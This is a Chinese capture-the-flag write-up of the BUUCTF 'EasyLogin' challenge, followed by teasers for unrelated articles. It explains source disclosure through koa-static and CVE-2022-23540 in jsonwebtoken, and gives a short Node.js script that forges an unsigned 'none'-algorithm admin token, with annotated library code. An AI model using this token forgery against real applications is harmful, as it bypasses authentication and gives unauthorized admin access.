BUUCTF-EasyLogin

news2024/12/27 12:20:36

这是一道 Node.js 语言的题目,在此记录我在做这道题的思考过程。

这道题考的是 CVE-2022-23540.

简单测试

进入题目环境:

 一个登录页面,由题目的名称 EasyLogin,我猜测这道题是身份认证缺陷的问题。不过,还是下意识测试一下弱口令,输入用户名为 admin,密码 123456,点击 LOGIN:

 失败了,再加大力度,直接上 burpsuite 暴力破解密码。然而,我发现发送太多请求会报 429:

 这可以说是一种服务器阻止暴力破解的提示,到这里基本可以断定题目不能通过弱口令就能完成的,所以得找其他方式。

在登录页面上,有个注册功能的链接,可以注册账号。一开始,我想注册一个用户名为 admin 的账号(根据经验,一般管理员账号名是 admin)。但是,不允许:

 只能注册用户名 admin 以外的账号...那就注册一个用户名为 test,密码为 123456 的账号。然后,用这个账号登录进入:

 来到了获取 flag 的地方。很好,直接点击 GET FLAG:

 权限拒绝......很明显,要有管理员的权限。到这里,可以明白通过正常的流程是拿不到 flag 的,需要了解更多的信息。

源码泄露

退出当前账号,重新来过。在登录页面上按 F12 查看源代码,发现有个 js 文件:

访问看看有什么东西:

 一段提示信息,一些 js 函数,重点明显在于理解这段提示信息,一开始我并没有理解它的含义,直到我随手在 URL 路径上输入 app.js:

 好家伙,泄露了源码。顿时,我明白了那段提示信息的含义:如果 koa-static 在设置静态文件的目录路径时,把路径设置为网站的根目录,那么就会造成程序的源码泄露。接下来,就是源码审计了。

找到路由

通过查看源码,我发现还有 rest.js 和 controller.js 两个源文件: 

这两个文件的路径是相对路径,显然是出题人自己编写的,需要重点审计。当我看完这两个文件后,我没有找到登录功能的代码和接口,而且在 controller.js 中发现还有 controllers 目录:

 这里的代码做几件事:

1. 找到 ./controllers/ 目录的所有 js 文件;

2. require 包含这些 js 文件进来;

3. 对这些 js 文件中的路由规则都添加到 router 对象中。

 在 controllers 目录下有个关于路由的文件,我需要找到它。这里,我只能不断猜测文件名,因为没有其他提示。所幸,我找到了:

找出缺陷

接下来就是找认证过程的缺陷,这里有 4 个路由:

/api/register
/api/login
/api/flag
/api/logout

分别对应注册、登录、获取 flag 和登出等 4 个处理过程,我首先排除掉 /api/flag 和 /api/logout,然后看 /api/register 的处理:

 不允许注册用户名为 admin 的账号,还是用三个等号的全等于进行比较,所以无法用 javascript 的大小写技巧绕过。在这个函数中,我只能控制 username 和 password 这两个输入,随后它们就被用于 jwt 的签发。所以,注册功能是没有缺陷的。

再看 /api/login 的处理 :

先获取请求的 jwt,然后进行验证。jwt 就包含很多可控制的输入点,可以推测这里会有缺陷。

从代码的逻辑可以明确两点:

1. 我提交的账号必须是 admin 用户名;

2. 我提交的 jwt 是合法的。

基于这两点,我必须正确签发我的 jwt,以实现伪造。在此之前,我又必须知道当初在注册账号时,为我的账号签发 jwt 的密钥。显然,我不可能知道这个密钥是什么,因为它被保存到一个数组中:

 不过,我可以控制使用哪个密钥或者不使用密钥,因为 secretid 参数在签发 jwt ,也就是在调用 jwt.sign() 函数时,将 secretid 作为参数传了进去。然后,在登录时,又从我提交的 jwt 中获取 secretid 参数,作为 globals.secrets 数组的下标,从中获取密钥。 secretid 是可控的,那么取出什么密钥也是可控的。接下来,我需要测试能否不使用密钥签发 jwt:

 我让 secretid 设置为 -1,那么在 jwt.verify() 验证 jwt 时,secrets[-1] 就无法取出一个密钥,那么返回值为 undefined。同时,我传入一个 undefined 作为密钥传入 jwt.sign()。但是,我在签发时失败了,上面的代码执行结果为:

 显然,传入 undefined 是错误的,我必须有传入一个长度不为 0 的字符串作为密钥。到此,我已经没有其他思路,我知道我还缺少一些关键信息,才能完成伪造。

完成漏洞利用

后来,通过查看 writeup,我得知一条信息:jwt.verity() 在验证 jwt 的合法性时,如果没有传入一个密钥,那么默认不使用任何的密码算法,即使第三个参数设置了密码算法的选项。也就是说,下面的代码:

jwt.verify(token, secret, {algorithm: 'HS256'})

 如果 secret 为 undefined 或者空字符串,实际上与:

jwt.verify(token, undefined, {algorithm: 'none'})

是等价的。

得知这一关键信息,我大致明白如何写代码构造 payload 进行测试。不过,还缺少一环,就是 sid 的校验:

 sid 是我在 jwt 中传入的 secretid 参数,是可控的,但是从判断条件中,它必须满足几点:

1. 必须有值;

2. 判断条件 sid < global.secrets.length && sid >= 0 为 true;

3. globals.secrets[secretid] 返回的结果没有值,即为 undefined。

可以利用 JavaScript 弱类型比较的特性进行绕过,比如 sid 为空字符串。可以测试一下:

 OK,可以伪造 jwt 了:

const jwt = require("jsonwebtoken")

secrets = []
secretid = ''

username = "admin"
password = "123456"

token = jwt.sign({secretid, username, password}, undefined, {algorithm: 'none'})

console.log(token)

将得到的 jwt token 替换 sessionStorage 里的值:

 输入用户名 admin,密码 123456,登录进去,点击 GET FLAG 就可以得到 flag 了。

漏洞原理

前面说到:jwt.verity() 在验证 jwt 的合法性时,如果没有传入一个密钥,那么默认不使用任何的密码算法,即使第三个参数设置了密码算法的选项。

这说法其实并不完整,应该是:jwt.verity() 在验证 jwt 的合法性时,如果没有传入一个密钥,而且 jwt 没有 signature 部分时,那么默认不使用任何的密码算法,即使第三个参数设置了密码算法的选项。

看一下 jsonwebtoken 库的源码就知道了:

// jsonwebtoken/verify.js
...

// jwtString 是客户端提供的 token,secretOrPublicKey 是密钥,options 是选项,callback 是回调函数
module.exports = function (jwtString, secretOrPublicKey, options, callback) {
  
  ...

  if(typeof secretOrPublicKey === 'function') {
    ...
  else {
    getSecret = function(header, secretCallback) {
      return secretCallback(null, secretOrPublicKey);
    };
  }

  return getSecret(header, function(err, secretOrPublicKey) {

    // err 为 null,跳过
    if(err) {
      return done(new JsonWebTokenError('error in secret or public key callback: ' + err.message));
    }
   
    // 判断 token 是否存在第三部分,也就是 signature
    var hasSignature = parts[2].trim() !== '';

    // 没有提供 signature,但提供了密钥,报错
    if (!hasSignature && secretOrPublicKey){
      return done(new JsonWebTokenError('jwt signature is required'));
    }

    // 提供了 signature,但没有提供密钥,报错
    if (hasSignature && !secretOrPublicKey) {
      return done(new JsonWebTokenError('secret or public key must be provided'));
    }

    // 没有提供 signature,并且没有设置 algorithms 选项,设置 algorithms 为 none
    if (!hasSignature && !options.algorithms) {
      options.algorithms = ['none'];     // 在我们的攻击过程中,会走到这一步
    }

    // 上面给 algorithms 赋了值,所以这里跳过
    if (!options.algorithms) {
      options.algorithms = ~secretOrPublicKey.toString().indexOf('BEGIN CERTIFICATE') ||
        ~secretOrPublicKey.toString().indexOf('BEGIN PUBLIC KEY') ? PUB_KEY_ALGS :
        ~secretOrPublicKey.toString().indexOf('BEGIN RSA PUBLIC KEY') ? RSA_KEY_ALGS : HS_ALGS;

    }
        
    // options.algorithms = ['none'] 正好与 token 的第一部分设置的 {algorithm: "none"...} 对应,所以这里跳过
    if (!~options.algorithms.indexOf(decodedToken.header.alg)) {
      return done(new JsonWebTokenError('invalid algorithm'));
    }

    var valid;

    try {
      // 验证 token,decodedToken.header.alg 为 none,secretOrPublicKey 为 undefined,所以不使用任何密码算法进行验证
      valid = jws.verify(jwtString, decodedToken.header.alg, secretOrPublicKey);
    } catch (e) {
      return done(e);
    }

    ...
  });
};

第一,没有提供 signature,但提供了密钥会报错;第二,提供了 signature,但没有提供密钥也报错。所以只有 token 提供 signature,并且提供密钥,或者 token 不提供 signature,并且不提供密钥,上面的代码才会走到 jws.verify() 这一步。在这道题中,我提供的 token 是:

正好满足条件。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/757483.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

用主流编程语言解小学题

最近在网上刷到一个视频&#xff0c;内容是奶奶有60 元钱&#xff0c;去超市买了10元水果&#xff0c;收营员应该找奶奶多少钱?我一开始反应就是50元&#xff0c;后来想了想题干里没有说明这60元是怎么构成的&#xff0c;有可能是一张50元和一张10元&#xff0c;或者是3张20元…

day36-JSON+Servlet

0目录 JSONServlet 1.JSONServlet 1.1 创建工程/导入依赖/创建包/BaseDao...... 依赖&#xff1a;javax.servlet、jstl、mysql、taglibs、fastjson <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <…

sqli-labs 1-5 (手注和sqlmap)

sql注入 就是指web运用程序对用户输入数据的合法性没有判断&#xff0c;前端传入后端的参数是攻击者可控的&#xff0c;并且参数代入数据库查询&#xff0c;攻击者可以构造不同的SQL语句来实现对数据库的任意操作。 当然&#xff0c;SQL注入按照不同的分类方法可以分为很多种&a…

高等数学❤️第一章~第二节~极限❤️极限的概念与性质~函数极限(自变量趋于有限值时的极限)详解

【精讲】高等数学中函数极限&#xff1a;自变量趋于有限值时的极限 博主&#xff1a;命运之光的主页 专栏&#xff1a;高等数学 目录 【精讲】高等数学中函数极限&#xff1a;自变量趋于有限值时的极限 导言 二、函数极限自变量趋于有限值的判定方法 三、函数极限自变量趋于…

回溯算法详解(Back Tracking)

本文已收录于专栏 《算法合集》 目录 一、简单释义1、算法概念2、算法目的3、算法思想 二、核心思想三、图形展示四、算法实现1、实现思路2、代码实现TreeNode 类将数组处理成二叉树结构并且返回根节点进行搜索 五、算法分析1、时间复杂度2、空间复杂度3、算法稳定性 一、简单释…

RestFul风格讲解

以前是localhost:8080/user?methodadd&uid1; RestFul风格是以/接上的 localhost:8080/user/马云/6562 package com.qf.controller; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annot…

freemarker模板在客服域的使用场景及用法介绍

&#x1f34a; Java学习&#xff1a;社区快速通道 &#x1f34a; 深入浅出RocketMQ设计思想&#xff1a;深入浅出RocketMQ设计思想 &#x1f34a; 绝对不一样的职场干货&#xff1a;大厂最佳实践经验指南 &#x1f4c6; 最近更新&#xff1a;2023年7月15日 &#x1f34a; 点…

从零搭建秒杀服务

1. 前言 目的&#xff1a;该项目只用于技术交流&#xff0c;不用于过多商业用途。 适用&#xff1a;可用于简历亮点、毕业答辩等。 2. 项目成果 2.1 秒杀主页 包含5个功能点&#xff1a; ①、Product Name&#xff1a;秒杀商品名称 ②、Product Image&#xff1a;秒杀商…

Multiframe-to-Multiframe Network for Video Denoising

Multiframe-to-Multiframe Network for Video Denoising 摘要 现存方法&#xff1a;多相邻帧恢复一个干净帧&#xff0c;效果好但是由于按顺序去噪考虑可能造成视频闪烁&#xff1b; 本文&#xff1a;提出一个多帧对多帧的去噪模型&#xff0c;从连续噪声帧中恢复多个干净帧…

【通览一百个大模型】GLM(THU)

【通览一百个大模型】GLM&#xff08;THU&#xff09; 作者&#xff1a;王嘉宁&#xff0c;本文章内容为原创&#xff0c;仓库链接&#xff1a;https://github.com/wjn1996/LLMs-NLP-Algo 订阅专栏【大模型&NLP&算法】可获得博主多年积累的全部NLP、大模型和算法干货资…

基础算法-【区间合并】

题目 给定 n 个区间 [li,ri]&#xff0c;要求合并所有有交集的区间。 注意如果在端点处相交&#xff0c;也算有交集。 输出合并完成后的区间个数。 例如&#xff1a;[1,3] 和 [2,6] 可以合并为一个区间 [1,6]。 输入格式 第一行包含整数 n。 接下来 n行&#xff0c;每行…

《远见》阅读笔记

不同的环境&#xff0c;不同的职业&#xff0c;职业生涯的建议并没有什么不同 找到热爱的工作&#xff0c;建立热爱的生活 如何思考职业远景 如何分配时间 如何扩张人脉 职业生涯决策框架 三个部分 职场思维、框架、工具实用性建议和案例现实生活为基础&#xff0c;平衡职…

MacOS触控板缩放暂时失灵问题解决

我的系统版本为Monterey 12.5.1&#xff0c;亲测有效 直接创建脚本xxx.sh&#xff0c;并在终端执行脚本bash xxx.sh即可解决此问题&#xff0c;脚本内容如下&#xff1a; #!/bin/bashkillall Finder #kill Finder如不需要可以删除 killall Dock #kill Dock 如不需要可以删…

一文详细介绍什么是数据标注?

机器学习和深度学习算法都依赖于数据&#xff0c;为构建可靠的人工智能模型&#xff0c;需要为算法提供结构良好且标注良好的数据。 为了让机器学习算法学习如何完成特定任务&#xff0c;我们必须标注它们用于训练的数据。换句话说&#xff0c;标注数据很简单&#xff0c;但并不…

pytorch深度学习 之二 拟合数据 从线性到非线性

目的 深入了解线性回归的使用方法&#xff0c;使用非线性激活函数&#xff0c;同时使用pytorch的nn模块&#xff0c;最后使用神经网络来求解线性拟合&#xff0c;只有深入了解了基础&#xff0c;才能做出更高水平的东西。 上一章 神经网络梯度下降和线性回归 拟合定义数据 …

php代码审计15.3之phar伪协议与反序列化

文章目录 1、基础2、生成phar格式文件3、例子4、小试牛刀 1、基础 在漏洞的利用过程之中&#xff0c;我们需要先本地生成phar格式的文件&#xff0c;而生成phar格式的文件&#xff0c;需要将php.ini中的phar.readonly配置项配置为0或Off。目标服务器端是不必开启此配置&#x…

设计模式07-责任链模式

责任链模式属于行为设计模式&#xff0c;常见的过滤器链就是使用责任链模式设计的。 文章目录 1、真实开发场景的问题引入2、责任链模式讲解2.1 核心类及类图2.2 基本代码 3、利用构建者模式解决问题4、责任链模式的应用实例5、总结5.1 解决的问题5.2 使用场景5.3 优缺点 1、真…

计算机的工作原理(操作系统篇)

文章目录 1.操作系统的定位1.硬件2.驱动3.操作系统内核4.系统调用 2.进程3.PCB中有哪些描述进程的特征4.内存管理 1.操作系统的定位 先看一张图: 1.操作系统是最接近硬件的软件,是软件/硬件/用户之间交互的媒介; 2.操作系统起到一个管理的作用 1)对下,要管理硬件设备 2)对上,…

【100天精通python】Day4:运算符

目录 1 算数运算符 2 赋值运算符 3 比较&#xff08;关系运算符&#xff09; 4 逻辑运算符 5 位运算符 6 运算符的优先级 以下是一个完整的示例代码&#xff0c;用于计算学生三科成绩的分差和平均分&#xff1a; 1 算数运算符 Python中的算术运算符包括&#xff1a; 加…

如何在pd里设置win10虚拟机command+w关闭chrome浏览器的一个标签页

背景 在windows&#xff0c;我们知道 ctrlw 在chrome浏览器里可以关闭一个标签页&#xff0c;但是对于MacOS&#xff0c;pd的虚拟机里安装win10后&#xff08;pdparallel desktop)&#xff0c;commandw默认并不是料想中的相当于ctrlw关闭一个标签页&#xff0c;而是关闭所有的…